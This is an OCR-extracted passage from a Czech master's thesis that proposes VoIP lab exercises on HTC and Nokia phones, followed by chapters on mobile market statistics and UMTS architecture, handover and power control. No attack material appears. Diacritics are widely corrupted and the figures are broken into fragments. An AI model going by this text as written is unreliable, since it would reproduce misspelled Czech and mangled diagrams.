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ABSTRAKT

Cilem diplomové prace bylo vytvofeni dvou laboratornich uloh s vyuZitim zafizeni
HTC Desire a Nokia N900. Navrzené ulohy ptinasi do vyuky moderni technologie a sluzby.
Né&vrh prvni Ulohy rozebira problematiku technologie VoIP. Popisuje konfiguraci pobockové
tstiedny Asterisk PBX a analyzuje protokol SIP. Cast tllohy rozebira piipravenost modernich
datovych mobilnich a bezdratovych siti pro vyuZivani technologie VolP. Navrh druhé dlohy
je zaméfen na problematiku bezpecnosti VolP. Simuluje utoky na tustiednu, DoS utok a
pojednava o moznostech zabezpedeni VoIP komunikace. Cast Glohy probira moznosti vyuziti
telefonu HTC Desire jako bezdratového ptistupového bodu.

KLICOVA SLOVA

Maemo, Android, VoIP, SIP, Bezpecnost VoIP, Analyza VVolP

ABSTRACT

The goal of the master’s thesis was to propose two laboratory exercises, integrating
newly purchased devices HTC Desire and Nokia N900. Designed tasks bring new
technologies and services to education process. The first task examines the configuration of
branch exchange Asterisk PBX and analyzes SIP protocol. Part of exercise is concentrated on
high-speed data transmission in mobile and wireless networks, regarding to usability of VolP
technology. The second exercise introduces to vulnerability of VVoIP technology. It contains
simulations of attacks on branch exchange Asterisk, DoS attack and discusses methods to
secure VolP communication. The part of this exercise examines usage of HTC Desire phone,
instead of ordinary Wi-Fi access point.
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UvoD

Cilem diplomové prace je teoretické sezndmeni se s problematikou modernich
mobilnich a bezdratovych siti, analyza soucasného stavu laboratornich prostort a navrh
novych laboratornich dloh. NavrZené tlohy vyuziji nové zakoupenych mobilnich terminald
Nokia N900 a HTC Desire. Snahou je do uloh zakomponovat kromé novych zatizeni i
stavajici pfistroje, jako naptiklad bezdratoveé telefony, video IP telefony a tester Trend
Multiplo.

Prvni ¢ast je vénovana analyze soucasného stavu vysokorychlostnich mobilnich siti ve
svété a Ceské republice. Zahrnuje také predikci vyvoje UMTS (Universal Mobile
Telecommunication System) siti, vzhledem k poétu uzivateld a sluzbam, které by méli byt
dominantni a prioritni v budoucnu.

Druhé kapitola detailn¢ rozebira fungovani UMTS sité, od jeji architektury az po
spravu sité. Popisuje vyvoj sit¢ UMTS, hlavni rozdily mezi specifikacemi, podrobné¢ popisuje
architekturu a funkénost jednotlivych bloki. Znaéna cast kapitoly se vénuje spravé radiovych
prostiedkil. Rozebiré také rozdily mezi plivodni piistupovou metodou a jejimi modifikacemi.
V kapitole jsou zminény zakladni vlastnosti, parametry a architektura doposud nejmoderngjsi
mobilni sit¢ LTE (Long Term Evolution). Zavér kapitoly popisuje nejrozsifenéjsi bezdratové
protokoly ze sady 802.11.

Treti a ¢tvrtd kapitola jsou vénovany telefonim Nokia N900 a HTC Desire. Kapitoly
popisuji jejich hlavni parametry, vyhody a zptsoby ovladani. Detailné¢ popisuje operacni
systémy Maemo 5, v pfipad¢ telefonu Nokia a Android 2.1, vyuZity v piistroji HTC. Na
zéklad€ tohoto popisu je vytvoiena piedstava o vlastnostech a moznostech vyuziti téchto
pfistroju v rdmci vyuky.

Posledni dvé kapitoly fesi problematiku vlastniho navrhu laboratornich tloh. Popisuji
moznosti nasazeni novych technologii a sluzeb, které¢ zatim nejsou testovany a méteny.
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1 Problematika mobilnich siti
1.1 Moderni mobilni sité ve svété

Celosvétovy trh v oblasti mobilnich siti je obrovsky, poptavka po sluzbach mobilnich
siti stale roste, coz prispiva k velké konkurenci a k neustalému zlepSovani stavajicich
technologii a sluzeb. Konkurence, spolu s levnéjsimi technologiemi vyroby elektronickych
soucastek, sniZuji ceny telekomunikaénich sluzeb na Groven, kterou si mtize dovolit stale vic a
vic lidi. V roce 2000 byl poéet uzivatelt piiblizng 720 milionti, dnes jenom v samotné Cing je
uzivatelu vic. V Cervnu 2010 piekrocil jejich celkovy pocet hodnotu 5 miliard. Jak je
znazornéno na obr. 1.1, aZ 79% vSech uzivateld, coZ je ptiblizné¢ 4 miliardy, vyuZiva jenom
sluzeb sit¢ GSM. Vyrazny podil na trhu ma kromé sit¢ UMTS (Universal Telecommunication
Mobile System) i sit CDMA (Code Division Multiple Access), vyuzivana hlavn¢ v Americe a
Asii. 'V nésledujicich letech se ale ocekava velky nartst po¢tu uzivatela UTMS - HSPA
(High Speed Packet Access). Obr. 1.2 ukazuje narist ptiblizn¢ 0 540% do roku 2014. [5]

GMS-UMTS-HSPA
90%
4,5 miliard tel.ucastnik

Celkovy celosvétovy pocet tel. ucastnikl
5 miliard

UMTS-HSPA
v 10,75% 535 miliond

tel.déastnikd

CDMA
9,51%

473 miliond
tel.déastnikd

Analog, iDEN, PDC, TD-SCDMA, TDMA
0,7%
Zdroj: Informa Telecom & Media, WCIS+, Cerven 2010 35 miliond tel.(éastnika

Obr. 1.1: Pocet telefonnich ucastnikii a jich rozdéleni podle typu sité

14



Odhad poctu 3G tel.ucastnikd v roce 2014J

UMTS-HSPA
83%

2,9 miliard tel.Gcastnikt
{= 540% nardst)

128 miliond
tel.ucastnikd

340 miliond
tel.iéastnikd

Mobile WiMax
3%

Zdroj: Informa Telecom & Media, WCIS+, Bfezen 2010 89 miliond tel.déastnikd

Obr. 1.2: Odhad poétu tel. uc¢astnikii v roce 2014

Celkovy pocet uzivatelt sit¢ UMTS-HSPA doséhne téméf 3 miliard. Ocekava se
rovnéz velky vzestup sit¢ LTE (Long Term Evolution), umoznujici obrovské datové prenosy
(100Mbit/s pro downlink a 50Mbit/s pro uplink). Mobilni operatofi musi vyrazné¢ navySovat
kapacitu sité, protoze se kromé nartstu po¢tu uzivatelti o¢ekava i vyrazny narist mési¢niho
prenosu dat pomoci mobilnich zafizeni, do roku 2015 o 3500%, na hodnotu pfiblizné¢ 320
PB/mésic. Dnes se pienos dat pohybuje na Urovni 25PB/mésic. Spole¢nost AT&T ve svych
studiich uvadi aZ 5000% nartst v nasledujicich tfech letech. Je potieba tedy brat do Gvahy i
prodej mobilnich telefont, takzvanych chytrych mobilnich zafizeni (smartfone). Kromé
klasickych hlasovych a zakladnych datovych sluzeb, umoznuji uZivateli vyuZivat i
nadstandartni sluzby, jako napiiklad VolP (Voice over IP), velké piilohy v emailech,
stahovani souboru, tzv. online streamovani videi a zvukovych soubord. V praxi to znamena
vyrazné zvyseni vytiZenosti sité. Prodej téchto zatizeni ma stoupajici tendenci a ocekava se,
Ze koncem roku 2011 jich bude na trhu vic nez tzv. ,featured phones”, tedy klasickych
mobild. [5]

Obr. 1.3 znazorniuje podil jednotlivych typt sluzeb na celkovém pienosu v mobilnich
sitich. V roce 2008 tvofily hlasové sluzby vice nez 50% celkového vyuZiti sité a napiiklad
webové sluzby necelych 19%. Podle odhadu méa byt v roce 2015 podil hlasovych sluzeb na
celkovém pienosu pod drovni 5%. Pienos hlasu bude stale prioritni, aviak nartst ostatnich
sluzeb bude tak vyrazny, Ze jeho podil klesne téméf na zanedbatelnou hodnotu z pohledu
vytiZzenosti sité. Mezi nejzajimavéjsi sluzby pro zakazniky bude patiit prohlizeni
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internetovych stranek, sledovani videi a poslouchani hudby. Posledni dvé sluzby maji velké
naroky na $itku pasma. Zpozdéni je kritické u aplikaci vyuzivajicich sluzeb VolP . [5]

Bezdratovy prenos (downlink) v rozvinutych regionech

VolP 0,1%
| Email bez pilohy 0,7%
—Email s prilohou 3,2%

Web 44.8%
Spojovani okruh( - hlas

Web 18,8% Email s pfilohou 8,7%—

Piehravani videa
a stahovani
20,2%

Email bez piilohy 2,8% —
VolP 1,2% —

Prehravani zvuku

a stahovéni 1,8% Spojovani okruh - hlas

) ] . L 4,6%
Ostatni datové sluzby  pfehravani videa Piehravani zvuku
0,3% a stahovani a stahovani 3,5%
9,4% '
2008 2015

Zdroj: Analysys Mason

Obr. 1.3: Podil jednotlivych sluZeb na celkové vytiZzenosti sité

1.2 Moderni mobilni sité v Ceské republice

V prudce se rozvijejicim odvétvi mobilnich komunikaci se poskytovatelé mobilnich
sluzeb v soucasnosti nachazeji ve stavu piechodu od siti GMS do siti téeti generace UMTS
(Universal Mobile Telecommunication System). Investuji velké finan¢ni prostfedky do
budovani novych systémil, aplikaci a sitové infrastruktury. Jako Ccast této evoluce
poskytovatelé mobilnich sluzeb spajeji své hlasové a datové sité, za ucelem poskytovani
novych a kvalitnéjsich sluzeb.

Na poli mobilnich 3G siti, v§ak Ceska republika nepatii mezi nejvyspélejsi regiony.
Nizka poptavka po sluzbach ze strany zakaznika vedla K lThostejnosti operatort investovat do
rozSifovani a zlepSovani stavajici infrastruktury. Nejvétsi Cesky operator v oblasti 3G
mobilnich siti je O2 Telefonica s pokrytim pfiblizné¢ 40% obyvatelstva. Pokryti je znazornéno
na obr. 1.4. O2 poskytuje svym zakaznikim sluzby sit¢ UMTS release 5 (HSDPA)
s teoretickou maximalni ptenosovou rychlosti do 7,2Mbit/s. V porovnani se Slovenskou
republikou, operator Orange, nabizel rychlost 7,2 Mbit/s v roce 2008. V soucasnosti je 3G
signal na Slovensku dostupny pfiblizné 60% populace s teoretickou maximalni rychlosti
14,4Mbit/s. [1],[2]
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. ¥oomm) B A )
B ai 3,6 Mbit/s (UMTS) az 236 kbit/s (EDGE) az 48 kbit/s (GPRS)

Obr. 1.4: Pokryti Ceské republiky operatorem 02 Telefonica [1]

CDMA2000 1XEV-DO patfi stejné jako sit’ UMTS do siti téeti generace. Pii prechodu
do 3G siti se vétsina Evropy priklonila k UMTS, ¢ast Asie a Spojenych statu k CDMA2000.
Po uvolnéni pasma 450MHz, pivodné obsazeného analogovymi mobilnimi sitémi prvni
generace, se CDMA adaptovalo i v nékterych evropskych zemich, véetng CR. Kvilli pouzité
nizke frekvenci, tim padem delSich vinovych délek, byly moZnosti pokryti daleko lepSi nez u
technologie UMTS. CDMA poskytované spole¢nosti O2 Telefonica zabezpecuje signal na
80% uzemi CR, coZ je dvakrat vic nez u UMTS. Tieba viak poditat s daleko niZsi pfenosovou
rychlosti, bézné 300 az 500kbit/s, aviak pii menSim zpozdéni, nezli je tomu u siti UMTS.
Dostupna je i sit CDMA2000 1xEV-DO rev.l, nabizejici mirné zlepSeni ptenosovych
rychlosti, v praxi 400-700kbit/s. Vzhledem na nizké zpozdéni je mozné vyuzivat i sluzeb IP
telefonie bez vétSich problémii. Hlavni nevyhodou je nutnost pouziti modemu, neni tedy

mozné vyuzit této sité¢ v chytrém telefonu. [1]
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2 Vysokorychlostni mobilni a bezdratové sité

Za zacatek siti 2G je povazovan 1. ¢erven 1991, kdy byl uskuteénén prvni GSM (Global
System for Mobile Communications) hovor. V prubéhu 10 let se GSM stal skute¢nym
globalnim systémem. Koncem 20. stoleti byla ptedstavena prvotni faze mobilniho
komunika¢niho systému tieti generace UMTS (Universal Telecommunication Mobile
System). UMTS je evropské oznaceni wudélené¢ institutem ETSI (European
Telecommunications Standard Institute). UMTS bylo vyvinuto migraci z ETSI 2G/2.5G
systémi GSM/GPRS (Genaral Packet Radio Service).

2.1 Mobilni sité treti generace - UMTS
2.1.1 Uvod do UMTS

Zakladem UMTS byla nova pfistupova radiova technologie WCDMA (Wideband
Code Division Multiple Access), ktera tvofila nejvétsi rozdil mezi systémy UMTS a GSM.
Pateini sit’ vychazela zarchitektury GSM, coZ umoznilo operatorim pouZzit spojove i
paketové orientované domény, pomoci kterych bylo mozné vytvofit robustny komunika¢ni
systém. Casové zavislé sluzby (hlas) mohly nadale vyuZivat spojové orientovanu doménu,
zatimco méné Casové naro¢nd data prechazela pres jadro sit¢ UMTS. Tato vlastnost UMTS
umoznila plynuly ptechod na takzvané AIPN (All IP Network) sité, kde veskera komunikace
probiha na zaklad¢ IP adres. Systém postaveny na komunikaci jenom na zakladé IP adres ma
mnoho nespornych vyhod. Nejvétsi je moznost poskytovani Siroké Skaly sluzeb, protoze
implementace sluzby nezavisi na rozhrani. [3]

Vysoka cena a ruzné technické problémy vedly ke zpozdéni standardizace UMTS.
Rok 2002 je povazovan za bod zlomu v oblasti telekomunikaci. Pocet uZivateliit mobilnich
zatizeni piekonal pocet uzivateld pevnych siti a mobilni sité zacaly byt dominantni
technologii pro pienos hlasu. Mobilni telefon se stal pro ¢loveéka nepostradatelny a zatadil se
ke kazdodennim osobnim objektim. Na obr. 2.1 je znazornéna cCasova linie vyvoje sité
UMTS. Prvni komer¢ni sit’ byla spusténa v Japonsku v roce 2000, zacatkem roku 2009 bylo
v provozu uz 250 komerénich UMTS siti a pocet ucastnikti piesahnul ptl miliardy.
V soucasné dob¢ je jiz vice nez 315 UMTS siti komeréné v provozu, z nich 34% dosahuji
rychlost 7,2Mbit/s, 6% rychlost 14,4Mbit/s a 13% vice nez 20Mbit/s. [3]
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UMTS-HSPA casova linie
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Obr. 2.1: Casovi linie vyvoje sité UMTS

2.1.2 Vyvoj specifikaci UMTS

Prvni UMTS specifikace byla dokonéena v Case, kdy se internet staval ¢im dal vic
popularni. IP technologie se zacala vyuzivat i pro pfenos hlasu a video sluzeb. Na rozkvét 1P
technologie reagovaly UMTS specifikace tzv. release, které nasledovaly po uvolnéni
pocateéni specifikace 99. Jejich hlavnim cilem byla progresivni transformace UMTS do
takzvané sit¢ AIPN (All IP Network). Tato sit’ je vice efektivni neZ spole¢na existence dvou
oddélenych siti (Spojové a paketové orientovanych).

V plivodnim release 99, pirenosova technologie mezi ¢astmi ptistupové sit¢ UTRAN
(UMTS Terrestrial Radio Access Network) byla ATM (Asynchronous Tranfer Mode). V CS
doméné (Circuit Switched — Spojové orientovana) pateini sité byly pouZity 64kbit/s okruhy a
v PS doméné (Packet Switched — Paketové orientovana) pro prenos dat se vyuzival protokol
GTP (GPRS Tunneling Protocol). Vyrazngjsi krok smérem k AIPN sitim bylo specifikovani
doporuceni - release 4. Doména CS byla nahrazena IP nebo IP/ATM siti. Technologicka
vyzva prenosu hlasu pres IP sité nakonec vedla k technologii VoIP. V kone¢ném duasledku
tato modifikace pateini sit¢ zapftiCinila rozdéleni MSC (Mobile Switching Centre) na dva
rozdilené komponenty. Prvni, MSC server zahrnoval spravu hovort a kontrolu mobility, teda
obsluhoval signalizaci. MGW (Media Gateway Function) mél na starost uZivatelské prenosy

dat. [3]
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Pateini sit’ kompletné zaloZena na IP technologii byla dosahnuta v release 5. Tento
release nespecifikoval vyuziti ATM v CS doméné. V nové architektute bylo poskytovani real-
time IP multimedialnich sluzeb mozné diky nové piidanému subsystému, nazyvanému IMS
(TP Multimedia Subsystem). IMS byl pfipojen k bloku GGSN (Gateway GPRS Support Node)
a MGW a umozioval vytvotfit multimedidlni relace mezi uzivateli, podporujic uzivatelskou
mobilitu a pfesmérovani hovorti, pomoci protokolu SIP (Session Initiation Protocol). Dalsi
vyznamnou zménou v této specifikaci byla integrace registrt HLR (Home Locator Register) a
AuC (Authentification Centre) do tzv. HSS (Home Subsriber Server). Registr HSS obsahuje
informace o uZzivatelich, potiebné k zajiSténi hovorovych a relacnich sluzeb. Krom¢ zmén
patefni sit¢ nastaly vyznamné zmény i na radiovém rozhrani. Byla specifikovana nova
ptistupova metoda HSDPA (High Speed Downlink Packet Access). Technologie HSDPA
podporuje daleko vysSi rychlosti, pfes 10Mbit/s, za pomoci dodate¢nych modulaénich
schémat a implementaci mechanizmi FPS (Fast Packet Scheduling) a HARQ (Hybrid
Automatic Repeat Request). HSDPA soucasn¢ spolupracuje s radiovymi piistupovymi
metodami existujicimi ve starSich specifikacich. [3]

RELEASE 99 RELEASE 4
Patefnl sit Patefnl sit
lu_CS CS doména lu_CS CS doména
UE UTRAN 64 kbit/s okruhy UE UTRAN / IP(ATM) 2
F o £~ T T T ™
) arnr™ | HLR/AUC ! ) arnr™ | HLR/AUC !
&/ wi ATM \____1J & uu ATM \____2
WCDMA PS doména WCDMA PS doména
lu_PS GTP/P lu_PS GTP/AP
RELEASE 5 RELEASE 6
Pétefnl sit Pétefnl sit
Iu_CS cs ch)FTena lu_CS cs d(I)Fr’nena
UE UTRAN P UE UTRAN/ P
;’_‘uw i mss 1l CMJW (] I Hss |
&/ Wy ATM L ___J" &/ wu P = o ___Y
WCDMA PS doména WCDMA PS doména
T \isoea Iu_PS GTP/P HSDPA lu_PS GTP/P
nsupa I
-
ms IMS

Obr. 2.2: Hlavni rozdily mezi specifikacemi - release v siti UMTS

Poslednim cilem pii pfechodu na AIPN architekturu bylo implementovani IP
technologie i do radiové piistupové sité. Disledkem velkych pozadovanych modifikaci byla
implementace odloZena a specifikovana v release 6. All IP sit, zahrnujici pfistupovou
radiovou sit, umoznuje integraci technologii UTRAN nebo GERAN (GSM EDGE Radio
Access Network) s ostatnimi technologiemi, jako je naptiklad WLAN (Wireless Local Area
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Network). Technologie HSUPA (High Speed Uplink Packet Access), kterou tento release
zahrnuje, zvySuje pienosovou rychlost ve sméru uplink. DalSi specifikace R7 byla definovana
koncem roku 2007, zaméfila se hlavné na redukci zpozdéni, zdokonaleni QoS a aplikaci
pracujicich v redlném case. Zahrnuje definici standardu HSPA+ (Evolved High Speed Packet
Access). Prvni LTE (Long Term Evolution) specifikace je soucasti standardu R8. Definuje
nové modulacni techniky, novou pateini sit’ SAE (System Architecture Evolution) a mnoho
dalSich. Neni v3ak jiz kompatibilni z technologii CDMA. Posledni zatim uvolnény release je
R9. Vylepsuje SAE, definuje WiMax (Worldwide Interoperability for Microwave Access) a
vylepSuje spolupraci syst¢émt UMTS a LTE. Obr. 2.2 ukazuje hlavni rozdily mezi
specifikacemi R99 aZ R6. [3]

2.1.3 Architektura UMTS

Hlavni mysSlenkou 3G je vytvofit universalni infrastrukturu, schopnou obsluhovat
stavajici i budouci sluzby. Pti technologickych zménach ve struktute sit€¢ by nemély byt
ovlivnény existujici sluzby. Oddé¢leni piistupové technologie, pienosové technologie,
technologie zabezpecujici kontrolu spojeni a uzivatelské aplikace navzajem od sebe, dokaze
zabezpecit splnéni téchto pozadavka. [3]

Uu UTRAN-Pfistupovd sit CN — Pateini sit

5

Doména piepojovani okruht

Registre

Doména piepojovani paketad

Obr. 2.3;: UMTS sitova architektura

Na obr. 2.3 je prezentovana zakladni architektura sit¢ UMTS. Koncové zatizeni v 3G
systému se nazyva UE (User Equipment) a sklada se ze dvou ¢asti, ME (Mobile Equipment) a
USIM (UMTS Service Indentity Module). Subsystém kontrolujici Sirokopasmovy radiovy
ptistup mize mit rozdilné pojmenovani v zavislosti na typu pouzité radiove technologie.
V sitich UMTS, vyuZivajicich WCDMA, se nazyva UTRAN (UTMS Terrestrial Radio
Access Network) nebo UTRA. Pristupova sitt UTRAN je rozdélena na radiové subsystémy,
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nazyvané RNS (Radio Network Subsystem). Jeden RNS se sklada z nékolika radiovych prvki
a jejich odpovidajicimu kontrolnimu prvku. Radiové prvky v siti UTRAN jsou Node B, coz
odpovida zakladnoveé stanici BS (Base Station) a modul RNC (Radio Network Controller),
slouzi ke kontrole subsystému RNS. Subsystémy RNS jsou navzajem propojeny pies sitové
rozhrani nazyvané lur, coz je vyrazna zména oproti systému GSM, kterd piinasi nové
moznosti fizeni radiovych prostiedkd. Piistupova sit UTRAN je podrobnéji rozebréna
v kapitole 2.1.5. [3]

Pojem CN (Core Network), pateini sit, zahrnuje vSechny sitové prvky, potiebné
K pfepinani, smérovani a kontrole uzivatelt. Cast Registre, slouzi k uchovani informaci o
uzivatelich a obsahuje i bezpe¢nosti informace. Jednotlivé Casti jsou podrobnéji rozebrany
v kapitole 2.1.6. [3]

2.1.4 Pristupova sit UTRAN

Hlavni ulohou ptistupové sit¢ UTRAN je vytvofeni a udrzovani radiovych spojeni,
tzv. RAB (Radio Access Bearer), mezi koncovym zafizenim a patefni siti. Diky témto
spojenim ziskavaji prvky pateini sité predstavu o komunikacni cesté ke koncovému zatizeni,
tedy se nemusi zaobirat detailim komunikace. Taktéz zabezpecuji pozadavky QoS (Quality of
Service). Jako pfistupova metoda se vyuziva WCDMA (Wideband Code Division Multiple
Access), podrobngéji rozebrana v kapitole 2.1.6. [3]

2.1.4.1 Zakladnova stanice (Node B)

Stanice Node B, prevadi signidly mezi piistupovou radiovou siti a metalickym
(optickym) vedenim. Pomoci antén pfijima a vysila radiovy signal, filtruje signal, zesiluje,
moduluje a demoduluje a piepaji signal pomoci rozhrani lub do RAN (Radio Access
Network). Krom¢ vyse uvedenych funkci zakladnova stanice Node B vykonava i nasledujici:

e fizeni vysilaciho vykonu,

e generovani koda, kodovani,

e planovéni odesilani paketi (PS — Packet Scheduling) pii HSDPA,
e mgéieni radiového signdlu,

e ochrana proti chybam,

e diverzni pfijem.

2.1.4.2 RNC (Radio Network Controller)

Modul RNC je piepinaci a kontrolujici prvek sit¢ UTRAN. Z pohledu funk¢nosti ho
muzeme rozdélit na tii logické bloky:

e CRNC (Controling RNC) — zodpovédny za konfiguraci zakladnové stanice (Node B),

e SRNC (Serving RNC) - shira signaly z vicerych uzlu (i ptes jiné RNC) a posila je do
pateini sité (ptiklad soft handover),

e DRNC (Drifting RNC) — DRNC, plni funkci pfepinace a sméruje informace do SRNC
pii pfechodu UE do oblasti fizené jinym RNC (DRNC).
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Mezi zékladni funkce RNC patii:

e fizeni vykonu,

e kontrola handoveru,

e Kontrola pfistupu,

e planovani odesilani pakett (PS — Packet Scheduling)
e sprava kddovani. [3]

2.1.4.3 Sprava radiovych prostiredkil RRM (Radio Resource Management)

RRM (Radio Resource Management) je zodpovédny za spravu sit¢ UTRAN. Je
zahrnuty v koncovém zatizeni, v zakladnoveé stanici a v RNC. Vyuziva ruznych algoritmi za
ucelem stabilizovani radiové cesty a splnéni pozadavkd QoS pro sluzby, vyuZivajici tuto
cestu. RRM algoritmy dorucuji informaci pfes radiovou sit’ pomoci protokolu RRC (Radio
Resource Control).

Mezi zakladni RRM algoritmy patfi:

e kontrola handoveru,

e fizeni vykonu,

e fizeni pristupu (AC — Admission Control) a planovani odesilani paketti (PS — Packet
Scheduling),

e sprava kodovani.

RRM - Kontrola handoveru

Handover je jeden ze =z&kladnich algoritmil zajiStujicich mobilitu Gcastnikl
v mobilnich sitich. Spravuje spojeni pohybujicich se uzivateld. Pii prechodu ucastnika z mista
pokrytého jednou buiikou do mista pokrytého jinou, musi byt vytvoieno nové spojeni a staré
musi byt uvolnéno.

Proces handoveru se sklada z tfech fazi - faze méfeni, faze rozhodovani a faze
vykonani. Pro ucely handoveru, koncové zafizeni UE neustdle méii kvalitu signalu
sousednich bun€k a posila vysledky do sit¢ (Node B a RNC). Méfeni v UE mohou byt
nasledujici:

e Intra-frequency — zahrnuje méfeni sily signalu fyzickych kanalti ve sméru downlink
(pro signaly stejného kmitoctu),

e Inter-frequency — zahrnuje méfeni sily signalu fyzickych kanalt ve sméru downlink
(pro signaly jiného kmitoctu),

e Inter-system — zahrnuje méfeni sily signali fyzickych kanald ve sméru downlink,
které patii do jiné pristupové sit¢ (napt. GSM),

e Traffic volume — mé&fi vytizenost ve sméru uplink,

e Quality — mé&fi kvalitativni parametry (napf. chybovost),

e Internal — zajistuje méfeni vysilaciho vykonu UE a velikosti tirovn¢ pfijatého signalu.
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Handover ma tfi zékladni typy

e Hard Handover,
e Soft Handover,
e Softer Handover. [3]

Hard Handover

Pfi tomto typu handoveru je staré spojeni pieruseno jesté pied vytvoienim nového. To
znamena kratké pteruSeni spojeni, coz neni zadouci. Je-li kmitocet nové buiiky, do které se
UE po hard handoveru pfipojila jiny, nez kmitocet ptivodni bunky, nastal tzv. Inter-frequency
hard handover. Je-li kmitocet stejny, jedna se o Intra-frequency hard handover. Hard handover
se vyuZziva i v tzv. Inter-system handover, kdy nastava piechod UE mezi dvéma systémy
(napt. UMTS a GSM), nebo tam kde neni mozné realizovat soft handover (naptiklad
z dtivodu technické realizace sité). [3]

Soft Handover

V tomto ptipadé je nejdiiv vybudovano nové spojeni a aZz poté je staré spojeni zruseno.
Princip soft handoveru je znazornény na obr. 2.4. Dochazi k nému, jestli se stanice UE
nachazi v prekryti bunék, které nepatii pod stejnou zékladnovou stanici. Z&kladnové stanice
mohou patfit i pod rozdilné RNC. V tomto piipad¢ je potiebné fidit soft handover pies
rozhrani lur. Jestli zakladnové stanice jsou pod spravou stejného RNC, tak RNC plni funkci
SRNC (Serving RNC). V piipad¢, ze zakladové stanice patii pod jiny RNC, jeden z nich pIni
funkci SRNC a druhy DRNC (Drifting RNC). Za komunikaci je zodpovédny blok SRNC,
DRNC je vyuzit jen jako smérovac. Bunky, mezi kterymi dochazi k soft handoveru musi

pracovat na stejném kmitottu. [3]
NODE B (((( )))) (((( )))) NODE B
kmitocet

kmitocet

f1 & i
&/

UE

Obr. 2.4: Princip soft handoveru
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Softer Handover

Vysledkem softer handoveru je novy signal, ktery je ptidan nebo smazan z aktivni
mnoziny signalt, nebo je nahrazen silnéj$im signalem z jiného sektoru, ktery je pod spravou
stejné zakladnové stanice. Zakladnova stanice vysila pies jeden sektor, ale pfijima pies vice
sektori. UE tedy komunikuje ve sméru uplink s Node B pies vice nez jeden sektor. Princip
softer handoveru je znazornén na obr. 2.5.

NODE B

Signal pres Sektor 1 \ (( ))))

sektor!1 sektor 2
f1 ! p

/ Signal pfes Sektor 3
UE sektor 3

f1

Obr. 2.5: Princip softer handoveru

Zéakladnova stanice dokaze rekonstruovat signal z vice smérti sama na své fyzické
vrstveé, pomoci specidlniho pfijimace RAKE. Diky tomu, miize mobilni zafizeni snizit sviij
vysilaci vykon a v bunice mize vysilat vice stanic, aniz by se navzajem rusily. [3]

Mikrodiverzita

Mikrodiverzita je situace, kdy jsou signaly Sifené rtiznymi cestami zkombinované
v zdkladnové stanici, jak ukazuje obr. 2.6. RAKE pfijimac je schopen rozpoznat, oddélit a
zkombinovat signaly pfijaté z radiové sité. V praxi, signal poslany pies radiovou sit’ se odrazi
od zemé, vody, staveb, atd. a na pfijimaci stranu dorazi nékolik jeho kopii, mirn¢ ¢asové
posunutych a s jinou fazi. Ptijima¢ se sklada z nékolika vétev zpozd'ovacich ¢lent, generatort
kodu a bloki slouzicich na zménu zisku a faze. [3]
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Pfenos ve sméru uplink Mikrodiverzni bod

Stejny signal Sifici se rozdilnymi cestami Scitany signal
ptes radiovou sit

Obr. 2.6: Princip mikrodiverzity
Makrodiverzita

V tomto ptipade, se jiz nepouziva RAKE pfijimac. V aktivni mnoZing€ bungk, které UE
vyuziva, mohou byt buiiky pattici pod jiny Node B a dokonce pod jiné RNC. Makrodiverzitni
bod se bude nachéazet az v SRNC, kde se tyto signaly scitaji.

RRM - Rizeni vykonu, PC (Power control)

Rizeni vykonu je zékladni funkci kazdého mobilniho systému zaloZzeného na CDMA
(Code Division Multiple Access). Hlavni dtvody, kvali kterym se fizeni vykonu
implementuje, jsou, tzv. near-far problém, omezené napajeni stanice UE a zavislost kapacity
WCDMA na interferencich.

V systémech FDMA (Frequency Division Multiple Access) a TDMA (Time Division
Multiple Access) je nutno pouzit fizeni vykonu z divodu mezibuiikového ruSeni, aby se
mohla znova vyuzit urcita frekvence. Ve WCDM slouzi k a¢elim snizeni ruSeni v ramci
bunky. V tomto systému sdili uzivatel¢ stejné¢ kmitoctové pasmo ve stejnou dobu. Jestli signal
pifijaty ztermindlu je pfili§ slaby, neni mozZné zarucit dohodnutou kvalitu sluzeb (QoS).
Naopak, je-1i signal piilis silny, stoupne ruSeni pro vSechny ostatni terminaly sdilejici pAsmo.
Tohle vede k tzv. near-far efektu, kdy termindl, ktery je blize k Node B svym vysilacim
vykonem prevySuje signal terminalu, ktery je od Node B dale. Situaci popisuje obr. 2.7. [3]
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Obr. 2.7: Princip near-far efektu

V systtmu WCDMA je fizeni vykonu implementovano v obou smérech pienosu,
uplink i downlink. Rizeni ve sméru downlink je zavedeno hlavn& z ditvodéi minimalizovéni
ruseni z jinych bunék a udrZzeni hodnoty SIR (Signal To Interference) na pfijatelné urovni. Ve
sméru uplink slouzi k potlaceni near-far efektu. Snazi se o to, aby vysilaci vykony viech
terminald byli co nejvic podobné. [3]

Na zabezpeCeni spravniho fizeni vykonu ve WCDMA se vyuzivaji dva kontrolni
mechanizmy

e Open Loop Power Control (OLPC) — Oteviena smyc¢ka
e Closed Loop Power Control (CLPC) — Uzaviena smycka

Oteviena smycka (OLPC) se vyuziva pro fizeni vysilaciho vykonu UE, ktera se
nachazi ve stavu idle (klidovy). UE pfizptsobuje sviij vysilaci vykon na zakladé informaci
ziskanych z pilotniho signalu CPICH (Common Pilot Channel) a z kanadlu BCCH (Broadcast
Control Channel). Uzaviena smycka (CLPC) upravuje vysilaci vykon jiz pfi navazaném
spojeni (UE ve stavu dedicated). Jeji zakladni ulohou je kompenzovat nahle zmény velikosti
signalu, naptiklad pfi pohybu UE. [3]

RRM - Kontrola pristupu AC (Admission Control)

Hlavni ucel AC je rozhodnout, zda mtze vstoupit do systému novy hovor, aniz by
ovlivnil pifenosové pozadavky jiz existujicich hovoru. AC algoritmy by tedy méli odhadnout
vytizenost buriky a podle jejich vysledku RNC povoli, ¢i zamitne pfistup do sité.

RRM - Planovani odesilani paketi PS (Packet Scheduler)
PS se nachazi v RNC (u HSDPA v Node B). Piijima toky dat z riznych radiovych

kanalti a podle priority, nebo pozadavka QoS uspotada pakety do vysledného datového toku.
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RRM - Spréava kddovani CM (Code Management)
Rozhrani Uu vyZaduje dva druhy kédovani pro spravni funkcionalitu:

e Kodovani kanalu,
e Scramblovani.

Pro kodovani kanali na stran€ UE se pouzivaji ortogonalni rozprostiraci kédy. Dlivodem
jejich pouziti je, ze UE nevysila pouze na jednom kanalu, ale na vicerych. Napftiklad, uzivatel
muze volat a zaroven prohlizet stranky na internetu. VSechny kanaly se slouci do jednoho,
piicemz musi byt splnéna nekorelovanost téchto kandldi, aby je bylo mozné na strané
piijimace odd¢lit. Po zakddovani se signal scrambluje. Scramblovani vyuziva ndhodné kody.
Ve sméru uplink slouzi k oddéleni signali od riznych UE, ve sméru downlink k oddéleni
signal od riznych Node B. Jestli vysilace vyuZivaji stejny rozprostiraci kod, ale jiny
